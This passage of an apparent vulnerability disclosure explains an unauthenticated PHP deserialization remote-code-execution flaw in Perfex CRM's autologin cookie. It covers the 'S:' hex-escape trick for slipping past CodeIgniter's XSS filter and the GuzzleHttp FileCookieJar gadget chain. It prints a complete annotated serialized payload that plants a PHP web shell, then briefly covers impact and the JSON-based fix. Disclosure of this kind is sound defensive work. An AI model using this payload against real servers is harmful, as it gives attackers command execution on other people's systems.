class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"nf\"\u003ezend_string_efree\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estr\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"nf\"\u003eZSTR_VAL\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003estr\u003c/span\u003e\u003cspan class=\"p\"\u003e)[\u003c/span\u003e\u003cspan class=\"n\"\u003ei\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003echar\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003ccode\u003eS:3:\u0026quot;\\00A\\00\u0026quot;\u003c/code\u003e is entirely printable ASCII. It passes through the XSS filter untouched, and \u003ccode\u003eunserialize()\u003c/code\u003e resolves the hex escapes back into null bytes.\u003c/p\u003e\n\u003cp\u003eThe \u003ccode\u003eS:\u003c/code\u003e tag exists because of PHP 6. During its development, the serialization format for binary strings was changed to escape non-ASCII characters, probably to stay compatible with PHP 6\u0026rsquo;s Unicode strings where not all byte sequences are valid. The uppercase \u003ccode\u003eS:\u003c/code\u003e tag was \u003ca href=\"https://github.com/php/php-src/commit/7ccba6624df074051f24efabd5d88d9c0d2a8ec0\"\u003eadded to PHP 5 in 2006\u003c/a\u003e so that serialized data could be exchanged between PHP 5 and PHP 6. PHP 6 was never released. No released version of PHP has ever emitted the \u003ccode\u003eS:\u003c/code\u003e tag, and no tests covered it. It was only \u003ca href=\"https://github.com/php/php-src/commit/ecd11b968713025bba6fc145a0765f85f48a8a00\"\u003edeprecated in PHP 8.4\u003c/a\u003e (\u003ca href=\"https://wiki.php.net/rfc/deprecations_php_8_4\"\u003ethe RFC passed 36-0\u003c/a\u003e), so it sat in the unserializer for 18 years.\u003csup id=\"fnref:3\"\u003e\u003ca href=\"#fn:3\" class=\"footnote-ref\" role=\"doc-noteref\"\u003e3\u003c/a\u003e\u003c/sup\u003e\u003c/p\u003e\n\u003ch2 id=\"more-obstacles\"\u003eMore obstacles\u003ca href=\"#more-obstacles\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eWith the null byte problem solved, building the full payload hit three more issues.\u003c/p\u003e\n\u003cp\u003ePrivate properties include the full namespace, so the \u003ccode\u003eFileCookieJar\u003c/code\u003e cookies property serializes as \u003ccode\u003e\\x00GuzzleHttp\\Cookie\\CookieJar\\x00cookies\u003c/code\u003e. In \u003ccode\u003eS:\u003c/code\u003e format, \u003ccode\u003e\\Co\u003c/code\u003e fails because the parser treats every backslash as the start of a hex escape and requires two valid hex digits after it. \u003ccode\u003eC\u003c/code\u003e is valid hex but \u003ccode\u003eo\u003c/code\u003e is not. Using \u003ccode\u003e\\5c\u003c/code\u003e for literal backslashes gets around this.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eS:36:\u0026#34;\\00GuzzleHttp\\5cCookie\\5cCookieJar\\00cookies\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eNext, CodeIgniter\u0026rsquo;s \u003ccode\u003exss_clean()\u003c/code\u003e replaces PHP open/close tags:\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://github.com/bcit-ci/CodeIgniter/blob/3.1-stable/system/core/Security.php#L460\"\u003e\u003ccode\u003esystem/core/Security.php\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"nv\"\u003e$str\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003estr_replace\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003earray\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u0026lt;?\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;?\u0026#39;\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u0026gt;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"k\"\u003earray\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;\u0026amp;lt;?\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;?\u0026amp;gt;\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"nv\"\u003e$str\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eThe shell payload contains \u003ccode\u003e\u0026lt;?\u003c/code\u003e which gets mangled. Hex-encoding the tags in the \u003ccode\u003eS:\u003c/code\u003e string avoids this. \u003ccode\u003e\\3c\\3f\u003c/code\u003e becomes \u003ccode\u003e\u0026lt;?\u003c/code\u003e, \u003ccode\u003e\\60\u003c/code\u003e becomes the backtick, \u003ccode\u003e\\3f\\3e\u003c/code\u003e becomes \u003ccode\u003e?\u0026gt;\u003c/code\u003e. All resolved after filtering.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eS:15:\u0026#34;\\3c\\3f=\\60$_GET[0]\\60\\3f\\3e\u0026#34;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eFinally, after deserialization the app does \u003ccode\u003eisset($data['key'])\u003c/code\u003e. If \u003ccode\u003e$data\u003c/code\u003e is a \u003ccode\u003eFileCookieJar\u003c/code\u003e object instead of an array, PHP 8 throws a \u003ccode\u003eTypeError\u003c/code\u003e and returns HTTP 500. Wrapping the gadget in an array with valid \u003ccode\u003ekey\u003c/code\u003e and \u003ccode\u003euser_id\u003c/code\u003e fields avoids this. The nested \u003ccode\u003eFileCookieJar.__destruct()\u003c/code\u003e still fires on garbage collection, and the response comes back as a 307 redirect instead of a 500.\u003c/p\u003e\n\u003ch2 id=\"the-gadget-chain\"\u003eThe gadget chain\u003ca href=\"#the-gadget-chain\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003ePerfex CRM bundles GuzzleHttp, which includes \u003ccode\u003eFileCookieJar\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eFileCookieJar\u003c/span\u003e \u003cspan class=\"k\"\u003eextends\u003c/span\u003e \u003cspan class=\"nx\"\u003eCookieJar\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eprivate\u003c/span\u003e \u003cspan class=\"nv\"\u003e$filename\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eprivate\u003c/span\u003e \u003cspan class=\"nv\"\u003e$storeSessionCookies\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003epublic\u003c/span\u003e \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"fm\"\u003e__destruct\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003esave\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003efilename\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003epublic\u003c/span\u003e \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"nf\"\u003esave\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003estring\u003c/span\u003e \u003cspan class=\"nv\"\u003e$filename\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"nx\"\u003evoid\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nv\"\u003e$json\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"p\"\u003e[];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eforeach\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$this\u003c/span\u003e \u003cspan class=\"k\"\u003eas\u003c/span\u003e \u003cspan class=\"nv\"\u003e$cookie\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nx\"\u003eCookieJar\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"na\"\u003eshouldPersist\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$cookie\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003estoreSessionCookies\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e                \u003cspan class=\"nv\"\u003e$json\u003c/span\u003e\u003cspan class=\"p\"\u003e[]\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nv\"\u003e$cookie\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003etoArray\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"k\"\u003efalse\u003c/span\u003e \u003cspan class=\"o\"\u003e===\u003c/span\u003e \u003cspan class=\"nx\"\u003e\\file_put_contents\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$filename\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"nx\"\u003eUtils\u003c/span\u003e\u003cspan class=\"o\"\u003e::\u003c/span\u003e\u003cspan class=\"na\"\u003ejsonEncode\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$json\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e \u003cspan class=\"nx\"\u003e\\LOCK_EX\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"k\"\u003enew\u003c/span\u003e \u003cspan class=\"nx\"\u003e\\RuntimeException\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;Unable to save file \u003c/span\u003e\u003cspan class=\"si\"\u003e{\u003c/span\u003e\u003cspan class=\"nv\"\u003e$filename\u003c/span\u003e\u003cspan class=\"si\"\u003e}\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eWhen the object destructs, it calls \u003ccode\u003efile_put_contents()\u003c/code\u003e with a path and content we control. The \u003ccode\u003eshouldPersist()\u003c/code\u003e check requires either \u003ccode\u003eExpires\u003c/code\u003e to be set or \u003ccode\u003estoreSessionCookies\u003c/code\u003e to be true, and \u003ccode\u003eDiscard\u003c/code\u003e to be false. The PoC sets all three to pass the gate. The \u0026ldquo;Name\u0026rdquo; field of a \u003ccode\u003eSetCookie\u003c/code\u003e object gets included verbatim in the JSON output. Set it to a PHP short tag and the server executes it when the file is requested.\u003c/p\u003e\n\u003cp\u003eThe written file looks like:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-json\" data-lang=\"json\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e[{\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026#34;Name\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;\u0026lt;?=`$_GET[0]`?\u0026gt;\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026#34;Value\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;x\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nt\"\u003e\u0026#34;Domain\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e\u003cspan class=\"s2\"\u003e\u0026#34;localhost\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"err\"\u003e...\u003c/span\u003e\u003cspan class=\"p\"\u003e}]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003ePHP ignores the JSON around it. It only cares about the \u003ccode\u003e\u0026lt;?=\u003c/code\u003e tag.\u003c/p\u003e\n\u003ch2 id=\"proof-of-concept\"\u003eProof of concept\u003ca href=\"#proof-of-concept\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003ea:3:{                             \u0026lt;- array wrapper (to avoid TypeError)\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  s:3:\u0026#34;key\u0026#34;;s:1:\u0026#34;x\u0026#34;;              \u0026lt;- satisfies isset($data[\u0026#39;key\u0026#39;])\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  s:7:\u0026#34;user_id\u0026#34;;s:1:\u0026#34;1\u0026#34;;          \u0026lt;- satisfies isset($data[\u0026#39;user_id\u0026#39;])\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  s:3:\u0026#34;jar\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  O:31:\u0026#34;GuzzleHttp\\Cookie\\FileCookieJar\u0026#34;:4:{\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    S:36:\u0026#34;\\00GuzzleHttp\\5cCookie\\5cCookieJar\\00cookies\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e           ^^^          ^^^     ^^^          ^^^\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e         null byte   backslash            null byte\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    a:1:{i:0;O:27:\u0026#34;GuzzleHttp\\Cookie\\SetCookie\u0026#34;:1:{\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      S:33:\u0026#34;\\00GuzzleHttp\\5cCookie\\5cSetCookie\\00data\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      a:9:{\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        s:4:\u0026#34;Name\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        S:15:\u0026#34;\\3c\\3f=\\60$_GET[0]\\60\\3f\\3e\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e              ^^^^     ^^^^      ^^^^\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e               \u0026lt;?       `        ?\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        s:5:\u0026#34;Value\u0026#34;;s:1:\u0026#34;x\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        s:6:\u0026#34;Domain\u0026#34;;s:9:\u0026#34;localhost\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        s:4:\u0026#34;Path\u0026#34;;s:1:\u0026#34;/\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        s:7:\u0026#34;Max-Age\u0026#34;;N;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        s:7:\u0026#34;Expires\u0026#34;;i:9999999999;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        s:6:\u0026#34;Secure\u0026#34;;b:0;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        s:7:\u0026#34;Discard\u0026#34;;b:0;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        s:8:\u0026#34;HttpOnly\u0026#34;;b:0;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e      }\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    }}\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    S:39:\u0026#34;\\00GuzzleHttp\\5cCookie\\5cCookieJar\\00strictMode\u0026#34;;b:0;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    S:41:\u0026#34;\\00GuzzleHttp\\5cCookie\\5cFileCookieJar\\00filename\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    s:31:\u0026#34;filename.php\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    S:52:\u0026#34;\\00GuzzleHttp\\5cCookie\\5cFileCookieJar\\00storeSessionCookies\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    b:1;\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e  }\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e}\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch2 id=\"impact\"\u003eImpact\u003ca href=\"#impact\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003eUnauthenticated RCE as the web server user.\u003c/p\u003e\n\u003cp\u003eThere is evidence suggesting active exploitation in the wild. See \u003ca href=\"#disclosure-process-notes\"\u003edisclosure process notes\u003c/a\u003e.\u003c/p\u003e\n\u003ch2 id=\"remediation\"\u003eRemediation\u003ca href=\"#remediation\" class=\"heading-anchor\" aria-label=\"Link to this section\"\u003e\u003cspan aria-hidden=\"true\"\u003e#\u003c/span\u003e\u003c/a\u003e\n\u003c/h2\u003e\n\u003cp\u003ev3.4.1 replaces \u003ccode\u003eserialize()\u003c/code\u003e/\u003ccode\u003eunserialize()\u003c/code\u003e with \u003ccode\u003ejson_encode()\u003c/code\u003e/\u003ccode\u003ejson_decode()\u003c/code\u003e. JSON cannot instantiate PHP objects, so the deserialization vector is eliminated here.\u003c/p\u003e\n\u003cp\u003eThe patched \u003ccode\u003eautologin()\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-php\" data-lang=\"php\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003epublic\u003c/span\u003e \u003cspan class=\"k\"\u003efunction\u003c/span\u003e \u003cspan class=\"nf\"\u003eautologin\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e    \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e!\u003c/span\u003e \u003cspan class=\"nx\"\u003eis_logged_in\u003c/span\u003e\u003cspan class=\"p\"\u003e())\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"nv\"\u003e$this\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003eload\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"na\"\u003ehelper\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;cookie\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e        \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"nv\"\u003e$cookie\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"nx\"\u003eget_cookie\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;autologin\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"k\"\u003etrue\u003c/span\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e            